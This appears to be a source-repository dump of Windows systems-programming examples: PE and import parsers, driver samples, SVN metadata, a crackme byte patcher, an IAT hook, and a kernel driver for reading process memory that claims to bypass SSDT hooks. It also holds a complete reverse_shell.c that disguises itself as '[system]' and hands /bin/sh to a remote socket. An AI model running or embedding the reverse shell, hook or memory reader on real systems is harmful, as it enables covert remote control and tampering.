"--------------------", 37 | "----------------------------------------------------------" ); 38 | 39 | for ( i = 0, cur = buf; i < read; ++ i, ++ cur ) 40 | { 41 | // Note: the capital S in the format string will expect Unicode 42 | // strings, as this is a program written/compiled for ANSI. 43 | printf( "%-20.20S %.58S\n", cur->lgrpi1_name, cur->lgrpi1_comment ); 44 | } 45 | 46 | if ( buf != NULL ) 47 | NetApiBufferFree( buf ); 48 | 49 | } while ( rc == ERROR_MORE_DATA ); 50 | 51 | if ( rc != ERROR_SUCCESS ) 52 | printf( "NLGE() returned %lu\n", rc ); 53 | 54 | return 0; 55 | } -------------------------------------------------------------------------------- /examples/netusergetinfo/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 46 4 | /svn/wintools/!svn/ver/19/trunk/netusergetinfo 5 | END 6 | netusergetinfo.c 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 63 10 | /svn/wintools/!svn/ver/19/trunk/netusergetinfo/netusergetinfo.c 11 | END 12 | -------------------------------------------------------------------------------- /examples/netusergetinfo/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/netusergetinfo 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2009-12-27T03:38:06.230480Z 11 | 19 12 | hammackj 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | netusergetinfo.c 30 | file 31 | 32 | 33 | 34 | 35 | 2009-12-28T13:49:46.216170Z 36 | f58dbf16e5a03b47e23c7eb9e33e7771 37 | 2009-12-16T13:44:40.517816Z 38 | 1 39 | hammackj 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 7426 62 | 63 | -------------------------------------------------------------------------------- /examples/patcher/global.c: -------------------------------------------------------------------------------- 1 | #include "globals.h" 2 | 3 | BOOL patchFile(DWORD dwOffset, DWORD * bOriginal[], DWORD * bPatch[], int nIndex) 4 | { 5 | int i; 6 | HANDLE hFile; 7 | DWORD dwRead, dwError, * dwFoundBytes, dwWritten; 8 | dwFoundBytes = (DWORD *)malloc(nIndex / sizeof(DWORD)); 9 | 10 | printf("\nOffset: 0x%x\n", dwOffset); 11 | 12 | printf("Original byte(s): "); 13 | for(i = 0; i < nIndex / sizeof(DWORD); i++) 14 | printf("0x%x ", bOriginal[i]); 15 | 16 | printf("\nNew byte(s) : "); 17 | for(i = 0; i < nIndex / sizeof(DWORD); i++) 18 | printf("0x%x ", bOriginal[i]); 19 | 20 | printf("\n\nOpening file..."); 21 | hFile = CreateFile(szFile, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, 0); 22 | 23 | if(hFile == INVALID_HANDLE_VALUE) 24 | { 25 | printf("\n\nError while accessing the file!\nAborting...\n"); 26 | CloseHandle(hFile); 27 | 28 | return FALSE; 29 | } 30 | printf("\tDone!"); 31 | 32 | printf("\nReading original bytes..."); 33 | dwError = SetFilePointer(hFile, dwOffset, NULL, FILE_BEGIN); 34 | if(dwError == INVALID_SET_FILE_POINTER) 35 | { 36 | printf("\n\nError occured!"); 37 | return FALSE; 38 | } 39 | 40 | if(ReadFile(hFile, dwFoundBytes, (DWORD)nIndex / sizeof(DWORD), &dwRead, NULL)) 41 | printf("\tDone!"); 42 | else 43 | { 44 | printf("\tError reading file!"); 45 | return FALSE; 46 | } 47 | 48 | if(memcmp(dwFoundBytes, bOriginal, (DWORD)nIndex / sizeof(DWORD)) == 0) 49 | printf("\n\nEverything's ok!\n"); 50 | else if(memcmp(dwFoundBytes, bPatch, (DWORD)nIndex / sizeof(DWORD)) == 0) 51 | { 52 | printf("\n\nFile already patched!"); 53 | return FALSE; 54 | } 55 | 56 | dwError = SetFilePointer(hFile, dwOffset, NULL, FILE_BEGIN); 57 | if(dwError == INVALID_SET_FILE_POINTER) 58 | { 59 | printf("\n\nError occured!"); 60 | return FALSE; 61 | } 62 | 63 | if(WriteFile(hFile, bPatch, (DWORD)nIndex / sizeof(DWORD), &dwWritten, NULL)) 64 | printf("\nPatched successfully!\nFile: %s\nNumber of bytes patched: %x/%x", szFile, dwWritten, (DWORD)nIndex / sizeof(DWORD)); 65 | else 66 | printf("\nCouldn't apply patch!?"); 67 | 68 | return TRUE; 69 | } -------------------------------------------------------------------------------- /examples/patcher/global.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | char szFile[10], szBackupFile[sizeof(szFile) + 4]; 7 | 8 | BOOL patchFile(DWORD dwOffset, DWORD * dwOriginal[], DWORD * dwPatch[], int nIndex); -------------------------------------------------------------------------------- /examples/patcher/main.c: -------------------------------------------------------------------------------- 1 | #include "globals.h" 2 | 3 | int main() 4 | { 5 | DWORD dwAddress = 0x7CE; 6 | 7 | DWORD bPatch [] = { 0x7C, 0x16 }, 8 | bOriginal[] = { 0x75, 0x16 }; 9 | 10 | strcpy(szFile, "crackme.exe"); 11 | 12 | printf("Trying to patch file [ %s ]...\nCreate backup? y/n", szFile); 13 | 14 | switch(_getch()) 15 | { 16 | case 'Y': 17 | case 'y': 18 | { 19 | sprintf(szBackupFile, "%s.bak", szFile); 20 | CopyFile(szFile, szBackupFile, FALSE); 21 | 22 | printf("\nFile backed up as: %s!\n\nStart patching...", szBackupFile); 23 | } 24 | break; 25 | default: printf("\n\nNo backup!\nStart patching..."); break; 26 | } 27 | 28 | if(!patchFile(dwAddress, bOriginal, bPatch, sizeof(bOriginal))) 29 | printf("\n Error!"); 30 | else 31 | printf("\n Done!"); 32 | 33 | _getch(); 34 | return 0; 35 | } -------------------------------------------------------------------------------- /examples/pe/imports.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | int main(int argc,char *argv[]) 4 | { 5 | if(argc<2) 6 | { 7 | printf("\nUsage : ImportDirParser.exe TargetExe\n"); 8 | ExitProcess(0); 9 | } 10 | HANDLE hFile,hFileMap; 11 | DWORD dwImportDirectoryVA,dwSectionCount,dwSection=0,dwRawOffset; 12 | LPVOID lpFile; 13 | PIMAGE_DOS_HEADER pDosHeader; 14 | PIMAGE_NT_HEADERS pNtHeaders; 15 | PIMAGE_SECTION_HEADER pSectionHeader; 16 | PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor; 17 | PIMAGE_THUNK_DATA pThunkData; 18 | hFile = CreateFile(argv[1],GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0); 19 | if(hFile==INVALID_HANDLE_VALUE) 20 | ExitProcess(1); 21 | hFileMap = CreateFileMapping(hFile,0,PAGE_READONLY,0,0,0); 22 | lpFile = MapViewOfFile(hFileMap,FILE_MAP_READ,0,0,0); 23 | pDosHeader = (PIMAGE_DOS_HEADER)lpFile; 24 | pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)lpFile+pDosHeader->e_lfanew); 25 | dwSectionCount = pNtHeaders->FileHeader.NumberOfSections; 26 | dwImportDirectoryVA = pNtHeaders->OptionalHeader.DataDirectory[1].VirtualAddress; 27 | pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders+sizeof(IMAGE_NT_HEADERS)); 28 | for(;dwSection < dwSectionCount && pSectionHeader->VirtualAddress <= dwImportDirectoryVA;pSectionHeader++,dwSection++); 29 | pSectionHeader--; 30 | dwRawOffset = (DWORD)lpFile+pSectionHeader->PointerToRawData; 31 | pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(dwRawOffset+(dwImportDirectoryVA-pSectionHeader->VirtualAddress)); 32 | for(;pImportDescriptor->Name!=0;pImportDescriptor++) 33 | { 34 | printf("\nDLL Name : %s\n\n",dwRawOffset+(pImportDescriptor->Name-pSectionHeader->VirtualAddress)); 35 | pThunkData = (PIMAGE_THUNK_DATA)(dwRawOffset+(pImportDescriptor->FirstThunk-pSectionHeader->VirtualAddress)); 36 | for(;pThunkData->u1.AddressOfData != 0;pThunkData++) 37 | printf("\tFunction : %s\n",(dwRawOffset+(pThunkData->u1.AddressOfData-pSectionHeader->VirtualAddress+2))); 38 | } 39 | UnmapViewOfFile(lpFile); 40 | CloseHandle(hFileMap); 41 | CloseHandle(hFile); 42 | return 0; 43 | } 44 | -------------------------------------------------------------------------------- /examples/pedump/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 38 4 | /svn/wintools/!svn/ver/95/trunk/pedump 5 | END 6 | pedump.c 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 47 10 | /svn/wintools/!svn/ver/18/trunk/pedump/pedump.c 11 | END 12 | pedump.zip 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 49 16 | /svn/wintools/!svn/ver/95/trunk/pedump/pedump.zip 17 | END 18 | Makefile 19 | K 25 20 | svn:wc:ra_dav:version-url 21 | V 47 22 | /svn/wintools/!svn/ver/18/trunk/pedump/Makefile 23 | END 24 | -------------------------------------------------------------------------------- /examples/pedump/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/pedump 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2010-02-04T20:23:34.860417Z 11 | 95 12 | hammackj 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | pedump.c 30 | file 31 | 32 | 33 | 34 | 35 | 2009-12-28T13:49:49.481931Z 36 | a87d19a20b141d4c512f36aee33278af 37 | 2009-12-16T13:44:40.517816Z 38 | 1 39 | hammackj 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 3836 62 | 63 | pedump.zip 64 | file 65 | 66 | 67 | 68 | 69 | 2010-02-02T17:52:18.104240Z 70 | 68aaebeb69da5a00eecd80bf8edc8734 71 | 2010-02-04T20:23:34.860417Z 72 | 95 73 | hammackj 74 | has-props 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 56416 96 | 97 | Makefile 98 | file 99 | 100 | 101 | 102 | 103 | 2009-12-28T13:49:49.481931Z 104 | 4ea7f31e6d319060a4bb372efb4cfc5b 105 | 2009-12-16T13:44:40.517816Z 106 | 1 107 | hammackj 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 202 130 | 131 | -------------------------------------------------------------------------------- /examples/pedump/.svn/prop-base/pedump.zip.svn-base: -------------------------------------------------------------------------------- 1 | K 13 2 | svn:mime-type 3 | V 24 4 | application/octet-stream 5 | END 6 | -------------------------------------------------------------------------------- /examples/pedump/.svn/text-base/Makefile.svn-base: -------------------------------------------------------------------------------- 1 | CC=cl 2 | CFLAGS= /nologo /MT /O2 /TC 3 | LINKS=/link kernel32.lib /OUT:pedump.exe /SUBSYSTEM:CONSOLE 4 | 5 | all: pedump 6 | 7 | pedump: pedump.c 8 | $(CC) $(CFLAGS) pedump.c $(LINKS) 9 | 10 | clean: 11 | del *.exe; del *.obj 12 | -------------------------------------------------------------------------------- /examples/pedump/.svn/text-base/pedump.zip.svn-base: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/examples/pedump/.svn/text-base/pedump.zip.svn-base -------------------------------------------------------------------------------- /examples/pedump/Makefile: -------------------------------------------------------------------------------- 1 | CC=cl 2 | CFLAGS= /nologo /MT /O2 /TC 3 | LINKS=/link kernel32.lib /OUT:pedump.exe /SUBSYSTEM:CONSOLE 4 | 5 | all: pedump 6 | 7 | pedump: pedump.c 8 | $(CC) $(CFLAGS) pedump.c $(LINKS) 9 | 10 | clean: 11 | del *.exe; del *.obj 12 | -------------------------------------------------------------------------------- /examples/pedump/pedump.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/examples/pedump/pedump.zip -------------------------------------------------------------------------------- /examples/querykey/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 40 4 | /svn/wintools/!svn/ver/68/trunk/querykey 5 | END 6 | querykey.c 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 51 10 | /svn/wintools/!svn/ver/68/trunk/querykey/querykey.c 11 | END 12 | Makefile 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 49 16 | /svn/wintools/!svn/ver/68/trunk/querykey/Makefile 17 | END 18 | querykey.exe 19 | K 25 20 | svn:wc:ra_dav:version-url 21 | V 53 22 | /svn/wintools/!svn/ver/68/trunk/querykey/querykey.exe 23 | END 24 | -------------------------------------------------------------------------------- /examples/querykey/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/querykey 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2010-01-14T22:31:48.597137Z 11 | 68 12 | hammackj 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | querykey.c 30 | file 31 | 32 | 33 | 34 | 35 | 2010-01-18T18:35:21.994853Z 36 | f6de81090e2b5d54484c70130a354164 37 | 2010-01-14T22:31:48.597137Z 38 | 68 39 | hammackj 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 3355 62 | 63 | Makefile 64 | file 65 | 66 | 67 | 68 | 69 | 2010-01-18T18:35:21.994853Z 70 | 4f6c6f22652fb7c6a70406a29bf21f3e 71 | 2010-01-14T22:31:48.597137Z 72 | 68 73 | hammackj 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 305 96 | 97 | querykey.exe 98 | file 99 | 100 | 101 | 102 | 103 | 2010-01-18T18:35:21.994853Z 104 | 44e3c404eff8a62ecb4679041a8e9aea 105 | 2010-01-14T22:31:48.597137Z 106 | 68 107 | hammackj 108 | has-props 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 252808 130 | 131 | -------------------------------------------------------------------------------- /examples/querykey/.svn/prop-base/querykey.exe.svn-base: -------------------------------------------------------------------------------- 1 | K 14 2 | svn:executable 3 | V 1 4 | * 5 | K 13 6 | svn:mime-type 7 | V 24 8 | application/octet-stream 9 | END 10 | -------------------------------------------------------------------------------- /examples/querykey/.svn/text-base/Makefile.svn-base: -------------------------------------------------------------------------------- 1 | #CC=cl 2 | #CFLAGS= /nologo /MT /O2 /TC 3 | #LINKS=/link user32.lib kernel32.lib Ws2_32.lib /OUT:chijiuxing.exe /SUBSYSTEM:CONSOLE 4 | 5 | CC=/opt/local/bin/i386-mingw32-gcc 6 | CFLAGS= -o querykey.exe 7 | LINKS= -mconsole 8 | 9 | all: querykey 10 | 11 | querykey: querykey.c 12 | $(CC) $(CFLAGS) querykey.c $(LINKS) 13 | 14 | clean: 15 | rm *.exe; rm *.obj 16 | -------------------------------------------------------------------------------- /examples/querykey/.svn/text-base/querykey.exe.svn-base: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/examples/querykey/.svn/text-base/querykey.exe.svn-base -------------------------------------------------------------------------------- /examples/querykey/Makefile: -------------------------------------------------------------------------------- 1 | #CC=cl 2 | #CFLAGS= /nologo /MT /O2 /TC 3 | #LINKS=/link user32.lib kernel32.lib Ws2_32.lib /OUT:chijiuxing.exe /SUBSYSTEM:CONSOLE 4 | 5 | CC=/opt/local/bin/i386-mingw32-gcc 6 | CFLAGS= -o querykey.exe 7 | LINKS= -mconsole 8 | 9 | all: querykey 10 | 11 | querykey: querykey.c 12 | $(CC) $(CFLAGS) querykey.c $(LINKS) 13 | 14 | clean: 15 | rm *.exe; rm *.obj 16 | -------------------------------------------------------------------------------- /examples/querykey/querykey.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/examples/querykey/querykey.exe -------------------------------------------------------------------------------- /examples/random/IATHookexample.c: -------------------------------------------------------------------------------- 1 | void APIHook(LPSTR szModuleName, LPSTR szProcName, DWORD dwNewFunc) 2 | { 3 | DWORD dwOrgFunc = (DWORD)GetProcAddress(GetModuleHandle(szModuleName), szProcName); 4 | HMODULE hModule = GetModuleHandle(NULL); 5 | PIMAGE_DOS_HEADER pidh = (PIMAGE_DOS_HEADER)hModule; 6 | if(pidh->e_magic != IMAGE_DOS_SIGNATURE) 7 | { 8 | return; 9 | } 10 | PIMAGE_NT_HEADERS pinh = (PIMAGE_NT_HEADERS)((LPBYTE)hModule + pidh->e_lfanew); 11 | if(pinh->Signature != IMAGE_NT_SIGNATURE) 12 | { 13 | return; 14 | } 15 | PIMAGE_IMPORT_DESCRIPTOR piid = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)hModule + pinh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); 16 | while(piid->Name) 17 | { 18 | if(!stricmp((LPSTR)((PBYTE)hModule + piid->Name), szModuleName)) 19 | { 20 | break; 21 | } 22 | piid++; 23 | } 24 | if(!piid->Name) 25 | { 26 | return; 27 | } 28 | PIMAGE_THUNK_DATA pitd = (PIMAGE_THUNK_DATA)((LPBYTE)hModule + piid->FirstThunk); 29 | while(pitd->u1.Function) 30 | { 31 | if(pitd->u1.Function == (LPDWORD)dwOrgFunc) 32 | { 33 | DWORD dwOldProtect; 34 | VirtualProtect(&pitd->u1.Function, sizeof(DWORD), PAGE_READWRITE, &dwOldProtect); 35 | pitd->u1.Function = (LPDWORD)dwNewFunc; 36 | VirtualProtect(&pitd->u1.Function, sizeof(DWORD), dwOldProtect, NULL); 37 | break; 38 | } 39 | pitd++; 40 | } 41 | } -------------------------------------------------------------------------------- /examples/random/ReadMemoryKernel.c: -------------------------------------------------------------------------------- 1 | 汗...下面这点代码没什么技术含量,也很简单..但感觉还是比较有用的..可以利用这个和用户进行通信..和饶过通常的SSDT HOOK啊 .只实现了Raed..不过Write也是一样的道理... 2 | http://hi.baidu.com/sysnap/ 3 | 4 | 5 | VOID Unload(PDRIVER_OBJECT DriverObject) 6 | { 7 | DbgPrint("Unload Callled\n"); 8 | } 9 | 10 | ULONG MyReadMemory(IN PVOID BaseAddress,IN SIZE_T BufferSize,IN HANDLE pid) 11 | { 12 | PEPROCESS EProcess; 13 | KAPC_STATE ApcState; 14 | PVOID readbuffer; 15 | NTSTATUS status; 16 | 17 | status = PsLookupProcessByProcessId((HANDLE)pid,&EProcess); 18 | if(!NT_SUCCESS(status)) 19 | { 20 | DbgPrint("failed to get the EPROCESS!!\n"); 21 | return 0; 22 | } 23 | 24 | 25 | readbuffer = ExAllocatePoolWithTag (NonPagedPool, BufferSize, 'Sys'); 26 | if(readbuffer==NULL) 27 | { 28 | DbgPrint("failed to alloc memory!\n"); 29 | return 0; 30 | } 31 | 32 | *(ULONG*)readbuffer=(ULONG)0x1; 33 | 34 | KeStackAttachProcess (EProcess, &ApcState); 35 | 36 | __try 37 | { 38 | ProbeForRead ((CONST PVOID)BaseAddress, BufferSize, sizeof(CHAR)); 39 | RtlCopyMemory (readbuffer, BaseAddress, BufferSize); 40 | KeUnstackDetachProcess (&ApcState); 41 | 42 | } __except(EXCEPTION_EXECUTE_HANDLER) 43 | { 44 | KeUnstackDetachProcess (&ApcState); 45 | } 46 | 47 | DbgPrint("%x\n",*(ULONG*)readbuffer); 48 | ExFreePool (readbuffer); 49 | return 1; 50 | 51 | } 52 | 53 | 54 | NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING str) 55 | { 56 | ULONG ret = MyReadMemory((PVOID)0x7c944000,0x8,(HANDLE)904); 57 | if(ret==0) 58 | DbgPrint("read memory failed!!\n"); 59 | 60 | DriverObject->DriverUnload = Unload; 61 | return STATUS_SUCCESS; 62 | } -------------------------------------------------------------------------------- /examples/random/readprocessmemoryfromkernel.c: -------------------------------------------------------------------------------- 1 | 汗...下面这点代码没什么技术含量,也很简单..但感觉还是比较有用的..可以利用这个和用户进行通信..和饶过通常的SSDT HOOK啊 .只实现了Raed..不过Write也是一样的道理... 2 | http://hi.baidu.com/sysnap/ 3 | 4 | 5 | VOID Unload(PDRIVER_OBJECT DriverObject) 6 | { 7 | DbgPrint("Unload Callled\n"); 8 | } 9 | 10 | ULONG MyReadMemory(IN PVOID BaseAddress,IN SIZE_T BufferSize,IN HANDLE pid) 11 | { 12 | PEPROCESS EProcess; 13 | KAPC_STATE ApcState; 14 | PVOID readbuffer; 15 | NTSTATUS status; 16 | 17 | status = PsLookupProcessByProcessId((HANDLE)pid,&EProcess); 18 | if(!NT_SUCCESS(status)) 19 | { 20 | DbgPrint("failed to get the EPROCESS!!\n"); 21 | return 0; 22 | } 23 | 24 | 25 | readbuffer = ExAllocatePoolWithTag (NonPagedPool, BufferSize, 'Sys'); 26 | if(readbuffer==NULL) 27 | { 28 | DbgPrint("failed to alloc memory!\n"); 29 | return 0; 30 | } 31 | 32 | *(ULONG*)readbuffer=(ULONG)0x1; 33 | 34 | KeStackAttachProcess (EProcess, &ApcState); 35 | 36 | __try 37 | { 38 | ProbeForRead ((CONST PVOID)BaseAddress, BufferSize, sizeof(CHAR)); 39 | RtlCopyMemory (readbuffer, BaseAddress, BufferSize); 40 | KeUnstackDetachProcess (&ApcState); 41 | 42 | } __except(EXCEPTION_EXECUTE_HANDLER) 43 | { 44 | KeUnstackDetachProcess (&ApcState); 45 | } 46 | 47 | DbgPrint("%x\n",*(ULONG*)readbuffer); 48 | ExFreePool (readbuffer); 49 | return 1; 50 | 51 | } 52 | 53 | 54 | NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING str) 55 | { 56 | ULONG ret = MyReadMemory((PVOID)0x7c944000,0x8,(HANDLE)904); 57 | if(ret==0) 58 | DbgPrint("read memory failed!!\n"); 59 | 60 | DriverObject->DriverUnload = Unload; 61 | return STATUS_SUCCESS; 62 | } 63 | -------------------------------------------------------------------------------- /examples/reverse_shell.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | char server[] = "localhost"; 9 | int port = 1234; 10 | char shell[] = "/bin/sh"; 11 | char fakename[] = "[system]"; 12 | int TIMEOUT = 3; 13 | 14 | int main(int arg, char **argv[]) 15 | { 16 | int mainsock; 17 | char title[4096] = ""; 18 | int x; 19 | 20 | again: 21 | 22 | mainsock = socket (AF_INET, SOCK_STREAM, 0); 23 | struct sockaddr_in sin; 24 | struct hostent *host = gethostbyname (server); 25 | 26 | memcpy (&sin.sin_addr.s_addr, host->h_addr, host->h_length); 27 | sin.sin_family = AF_INET; 28 | sin.sin_port = htons (port); 29 | 30 | if(connect (mainsock, (struct sockaddr *) &sin, sizeof (sin)) < 0) 31 | { 32 | sleep(TIMEOUT); 33 | goto again; 34 | } 35 | 36 | setsid(); 37 | umask(0); 38 | dup2(mainsock, 0); 39 | dup2(mainsock, 1); 40 | dup2(mainsock, 2); 41 | 42 | sprintf(title, "Welcome %s (%s)", getenv("USER"), getenv("HOME")); 43 | chdir(getenv("HOME")); 44 | 45 | for(x = 0; x <= (strlen(title) + 3); x++) fprintf(stderr, "+"); 46 | fprintf(stderr, "\n"); 47 | fprintf(stderr, "+ %s +\n", title); 48 | for(x = 0; x <= (strlen(title) + 3); x++) fprintf(stderr, "+"); 49 | fprintf(stderr, "\n"); 50 | 51 | execl( shell, fakename,"-i" ,0); 52 | close(mainsock); 53 | return 0; 54 | } 55 | -------------------------------------------------------------------------------- /examples/samplesys/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 41 4 | /svn/wintools/!svn/ver/17/trunk/samplesys 5 | END 6 | sample.c 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 50 10 | /svn/wintools/!svn/ver/17/trunk/samplesys/sample.c 11 | END 12 | simple.sys 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 52 16 | /svn/wintools/!svn/ver/17/trunk/samplesys/simple.sys 17 | END 18 | Makefile 19 | K 25 20 | svn:wc:ra_dav:version-url 21 | V 50 22 | /svn/wintools/!svn/ver/17/trunk/samplesys/Makefile 23 | END 24 | -------------------------------------------------------------------------------- /examples/samplesys/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/samplesys 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2009-12-27T03:35:47.070571Z 11 | 17 12 | hammackj 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | sample.c 30 | file 31 | 32 | 33 | 34 | 35 | 2009-12-28T13:49:45.981785Z 36 | bd04d16aa3bb7d09798caa2e0300a065 37 | 2009-12-16T13:44:40.517816Z 38 | 1 39 | hammackj 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 564 62 | 63 | simple.sys 64 | file 65 | 66 | 67 | 68 | 69 | 2009-12-28T13:49:45.981785Z 70 | de4d8c3cf09da9099ec3b204ebe2aed7 71 | 2009-12-16T13:44:40.517816Z 72 | 1 73 | hammackj 74 | has-props 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 2560 96 | 97 | Makefile 98 | file 99 | 100 | 101 | 102 | 103 | 2009-12-28T13:49:45.981785Z 104 | 3346b86185ef46c405da6bb0c3825dba 105 | 2009-12-16T13:44:40.517816Z 106 | 1 107 | hammackj 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 487 130 | 131 | -------------------------------------------------------------------------------- /examples/samplesys/.svn/prop-base/simple.sys.svn-base: -------------------------------------------------------------------------------- 1 | K 14 2 | svn:executable 3 | V 1 4 | * 5 | K 13 6 | svn:mime-type 7 | V 24 8 | application/octet-stream 9 | END 10 | -------------------------------------------------------------------------------- /examples/samplesys/.svn/text-base/Makefile.svn-base: -------------------------------------------------------------------------------- 1 | #Linux version: 2 | CROSS=i386-mingw32- 3 | 4 | CC=$(CROSS)gcc 5 | 6 | all: simple.sys 7 | 8 | # tell the compiler/linker to use the native subsystem 9 | # the entrypoint of the program is _DriverEntry@8 10 | # for the linker to find _DriverEntry@8, the function's calling 11 | # convention must be STDCALL. 12 | # gcc can set this with __attribute__((__stdcall__)). 13 | 14 | simple.sys: 15 | $(CC) -Wall -s $^ -Wl,--subsystem,native -Wl,--entry,_DriverEntry@8 -nostartfiles -lntoskrnl -lhal -nostdlib -shared -o $@ 16 | clean: 17 | rm -f *.sys *~ *.o -------------------------------------------------------------------------------- /examples/samplesys/.svn/text-base/sample.c.svn-base: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /* 4 | * DDKAPI is necessary: 5 | * it is defined as __attribute__((__stdcall__)) 6 | * and this changes the calling convention for this function. 7 | * Without it the linker will fail to find _DriverEntry@8 and 8 | * will crash the kernel at unload time. 9 | */ 10 | 11 | void DDKAPI DriverUnload(PDRIVER_OBJECT driver) 12 | { 13 | DbgPrint("driver unload"); 14 | return; 15 | } 16 | 17 | NTSTATUS DDKAPI DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING registry) 18 | { 19 | DbgPrint("driver entry"); 20 | driver->DriverUnload = DriverUnload; 21 | return STATUS_SUCCESS; 22 | } -------------------------------------------------------------------------------- /examples/samplesys/.svn/text-base/simple.sys.svn-base: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/examples/samplesys/.svn/text-base/simple.sys.svn-base -------------------------------------------------------------------------------- /examples/samplesys/Makefile: -------------------------------------------------------------------------------- 1 | #Linux version: 2 | CROSS=i386-mingw32- 3 | 4 | CC=$(CROSS)gcc 5 | 6 | all: simple.sys 7 | 8 | # tell the compiler/linker to use the native subsystem 9 | # the entrypoint of the program is _DriverEntry@8 10 | # for the linker to find _DriverEntry@8, the function's calling 11 | # convention must be STDCALL. 12 | # gcc can set this with __attribute__((__stdcall__)). 13 | 14 | simple.sys: 15 | $(CC) -Wall -s $^ -Wl,--subsystem,native -Wl,--entry,_DriverEntry@8 -nostartfiles -lntoskrnl -lhal -nostdlib -shared -o $@ 16 | clean: 17 | rm -f *.sys *~ *.o 